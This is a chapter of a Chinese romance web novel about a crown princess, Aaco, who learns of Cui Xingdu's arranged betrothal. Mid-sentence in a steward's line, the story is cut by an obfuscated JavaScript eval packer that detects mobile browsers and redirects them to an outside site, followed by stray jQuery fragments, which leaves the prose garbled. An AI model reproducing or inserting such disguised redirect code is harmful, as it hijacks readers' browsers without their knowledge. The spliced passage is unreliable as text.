58.山茶

作品:《欸,我难道不是储君吗?

    阿错那话一出,她恨不得将自己塞到地缝里,然后再踩一踩,压实了,让崔行渡看不到才好。


    丢人都丢到刘家村了。


    他也是的,还认真回了她那囫囵的话,怪尴尬的。


    阿错将那碗吃的差不多的馄饨默默推得远了些,一时不知道怎么办,只好扯出一抹笑,指了她旁边的位置问他:“要不你坐坐?”


    崔行渡望着阿错,叹了叹口气 。


    她总是这样,只要一尴尬就会顾左右而言他。


    望着她衣服上的油渍,他开口道:“殿下吃饱了吗?”


    阿错视线转到那碗飘着汤勺的馄饨,虽然有些嫌弃,但是不忍心浪费粮食,她用筷子将汤勺夹出,快速的将碗里仅剩的两个馄饨胡乱吃下,然后站起身对着他道:“吃,吃饱了。”


    她起来的太快,几乎是瞬间就走到了他的面前。


    崔行渡没想到她会这么快,他的本意是等她慢慢吃完了再说,结果她一个箭步就到了他身边。


    头发许是她在马车上呼呼大睡的时候碰到了车壁,有些松散,看着有些毛茸茸的。


    冬日里很少会出太阳,但今日的天气难得的很好,太阳高挂于天空,洒下的阳光照在她那张白净的脸上,让她那双琥珀色的眸子更加通透,她呆呆的看着他,像只小猫。


    崔行渡愣神,呼吸都停了一瞬,半晌,他微微莞尔,拿出白色的丝巾替她将嘴角上挂着的水珠轻轻拭去,道:“其实殿下不用吃这么急,臣会等你。”


    阿错觉得自己从进到令州后脑子就不灵光了,本来就懵,突然碰到他之后就更晕乎乎了,所以她压根就没思考,不管三七二十一就先站了起来。


    她受着他的擦拭,红着脸小声的哦了一句。


    崔行渡给她擦完后,带着她上了不远处的马车,马车一路驰骋,终于在一座低调内敛的府邸停下。


    这是一座三进的小院落,虽然比不上国公府的富丽堂皇,但胜在清幽宁静,庭中摆放的花草树木一看就是用心打理了的。


    一步一景,自在逍遥,得趣的很。


    阿错心中的忐忑焦虑在看到这座院子的时候瞬间消散了不少。


    刚进内院,她那颗想玩的心蠢蠢欲动,正想要去霍霍那几盆冬日里开着花的盆景,可还没来得及上手她就被崔行渡抓去沐浴更衣了。


    看着崔行渡板着的脸,阿错只好认命。在侍者的带领下进了浴房,等阿错洗漱完,换上衣衫之后,去发现崔行渡早就离开了。


    听说又出了案子,需要他前去料理。他临走前还吩咐侍者给她搬来几盆开了花的白茶,供她把玩。


    望着桌上的那几盆白茶花,阿错郁闷的心情早就抛之脑后,坐到桌前玩起那花来。


    阿错从小在山野长大,没什么好玩的,只能玩玩野花野草,所以见到花草就特别亲切,


    但她的亲切与众不同……


    她喜欢辣手摧花和摧草。


    没办法,她活在乡野,有什么就拿什么,看到喜欢的花草,又不能把整座山搬回破庙里,一来她搬不动二来破庙没那么大,所以就只能将花草折下带回破庙里咯。


    而且反正花都是要枯萎的,只是时间早晚不一样,她提前将它们折下来又有什么不对?


    她虽然是这样想的,但别人不是这样想。


    房中的侍者见到她如此“心狠手辣”的玩弄那些娇贵的花,委婉地提醒她:“小姐,这花是公子耗费了很多心思养的。”


    阿错玩花的手突然停了下来。


    崔行渡养花吗?他没说过他喜欢花草啊?他不是只喜欢竹子吗?什么时候开始弄这些闲情雅兴了?


    阿错虽然有些怀疑,但想着跟了他这么久的侍者应该不会骗她,她便收回自己“作恶多端”的手,百无聊赖的看着这些山茶花。


    好想……扯……


    她的心痒痒。


    算了算了,崔行渡养的,放它们一马吧。


    没有崔行渡,她顿时觉得好无趣,又不能玩花玩草,她更无聊了。


    为了避免自己无聊死,她打算去院子里逛逛,这一逛真给她找到好玩的了。


    她看中了庭院中嬉戏的小红鱼。


    也不怎么的,水池旁恰好就有小网和小凳,她顺势就坐在水池边拿起小网捉起鱼来。捉到了她也不留着,又丢回水里,接着捉下一条,一直来回往复。


    要是捉住相同的鱼了,她还会骂那条鱼笨,都不懂得躲,反正玩的不亦乐乎。


    也不知道崔行渡这院子这么装扮的,处处都踩在了她喜欢的点上,早知道她就应该多来令州找他。


    可是等她玩累,对小红鱼都没兴趣了,崔行渡都还未归家。


    夜幕降临,阿错吃完晚饭后,因为闲不住就溜到了他的书房,想着在书房里找点书看,好打发时间,等他回来。


    可是她看啊看,眼皮子都打了好几次架,她也劝了好几次,无果。


    等到最后,崔行渡都没有回来,她实在困的不行了,她索性着爬上他书房里的床,闻着他被子上的兰花香缓缓睡去。


    在睡意朦胧之际,阿错居然在想,崔行渡一个大男人为什么身上这么多香味。


    一会儿檀香,一会儿兰香。


    等睡醒了定要好好问问他……


    ***


    一夜无梦。


    太阳初升,洒下微薄的日光,阿错迷迷糊糊的从床上睁开眼睛,有些口渴,便晃晃悠悠地走到书案前给自己倒了一盏清茶,一口喝下,冻的她打了一个激灵,瞬间清醒。


    恰逢此时,有人敲响了书房的门。


    阿错以为是崔行渡,飞快地跑到门口,将门打开,却不曾想,是一个面脸严肃的老头。


    那老头看到她,眼中闪过些许诧异,没想到居然除了崔行渡本人,还有人能进入他的书房。


    但没过一瞬,崔庄就将眼中的诧异收好,对着阿错行了一个大礼:“殿下安康。”


    自从去了太学,已经许久未有人向她行过大礼了,阿错心中疑惑,免了他的礼,问他:“你知道我的身份?”


    崔庄恭敬地道:“殿下眉间的红莲何人不识?”


    话音刚落,阿错这才想起来自己昨日洗漱后就再没用掩水遮去眉间的红莲,也难怪他能知道她的身份。


    阿错见他手中端了一张木盘,木盘上还放着一个红色的小本子,好奇地问他:“你是何人?来书房做什么?”


    谁知她这话一出,崔庄瞬间喜笑眉开,笑得脸上的褶皱都快堆在一块了。


    只听他道:“小人是国公府的总管,这是来为我们长公子道喜的。”


    “什么喜?”


    “自然是我们长公子的人


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17323290|198668||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    生大喜。”


    听到这话,阿错的心颤了颤。


    “公子的母亲为公子挑了青川谢氏的嫡小姐做新妇,崔谢两家一拍即合,觉得这是天作之合,当即定下婚约。”


    “这不,今日谢家就送了庚帖过来,等着长公子收下呢。”


    阿错迟疑:“庚、帖?”


    崔庄连忙点头,将手中的木盘递到她的面前,让她看了个真切。那红色的小本子上确确实实写了庚帖二字。


    阿错的心像是从云端跌到谷底,脸上的笑几乎是挂不住了,脸色渐渐发白。


    而那崔庄还在继续:“对,就是庚帖。但不过依小人说,要不要这庚帖都无所谓,只不过是走个形式,这京中谁人不知谁人不晓,崔氏玉郎谢氏檀女是最为登对的。”


    “这世家对世家,门第相当,身份相当,哪有不在一起的道理?”


    “若真要有些阿猫阿狗,那都不成气候的。因为到最后啊,还得是选最适合的那个,你说对吗,殿下?”


    她虽然在感情方面虽然迟钝,可在嘲弄方面她一点都不迟钝。他说了这么长的话,意味不明,到最后还来反问她,不就是在指代她吗?


    怎么,瞧不起她的身份吗?


    阿错抬眼望他,一双凤眼没了往日的神采,少了温度,冷冷地看着他,她面无表情:“与本宫何干?”


    “你想说本宫是阿猫阿狗吗?”


    见她动怒,崔庄连忙下跪:“小人不敢。”


    “真的不敢还是假的不敢,你自己心里清楚。你虽是崔氏的总管,放在人群中都是有脸面的,但本宫再怎么都是大梁的储君,你有什么资格指摘我的不是?”


    阿错望着跪在地上的他,沉声说:“不想死的话,滚。”


    崔庄原本以为这乡下来的乞丐储君是个胆小不成气候的,谁成想她竟如此伶牙俐齿,拿她储君的身份来压他。


    那几句话说出来竟和长公子有几分相像,让他腿肚都颤了颤。


    “奴婢不敢。”


    “不要让本宫说第二遍,滚。”


    崔庄不敢再继续多待,连忙起身就出了庭院,只留下那张放着红色庚帖的木盘。


    阿错望着那本红色庚帖,手渐渐攥紧,琥珀色的眸子藏匿在阴影下变得漆黑深邃,看不出情绪。


    ***


    午时。


    崔行渡熬了一夜终于将案子处理完,收拾好东西便要回府,想着阿错爱吃水晶樱桃,他特地叫车夫绕路去买了水晶樱桃。


    等到他揣着水晶樱桃走回府中时,没有料想中的热闹,反而静悄悄的,他心中泛起异样,快步往阿错的房间走去。


    她的房门没有关,崔行渡走进去,看见桌上几乎完好无损的白山茶,他微微皱眉,又看到坐在书案前面无表情的她,开口道:


    “殿下是不喜欢山茶吗?”


    谁知他这方话音刚落,阿错凭着声音朝他望了过来,她坐的位置阴暗,看不清她脸上情绪,但不知为何,崔行渡莫名觉得心中有些空荡。


    她从地上站了起来,一步一步走到他的前方。


    她站在台阶上,居高临下的看着他,看着他那张如玉般俊朗的面庞,不知道在想什么过了半晌,她才开口问出那个她日思夜想的问题:


    “崔行渡,你知道女子送给男子玉珏意味着什么吗?”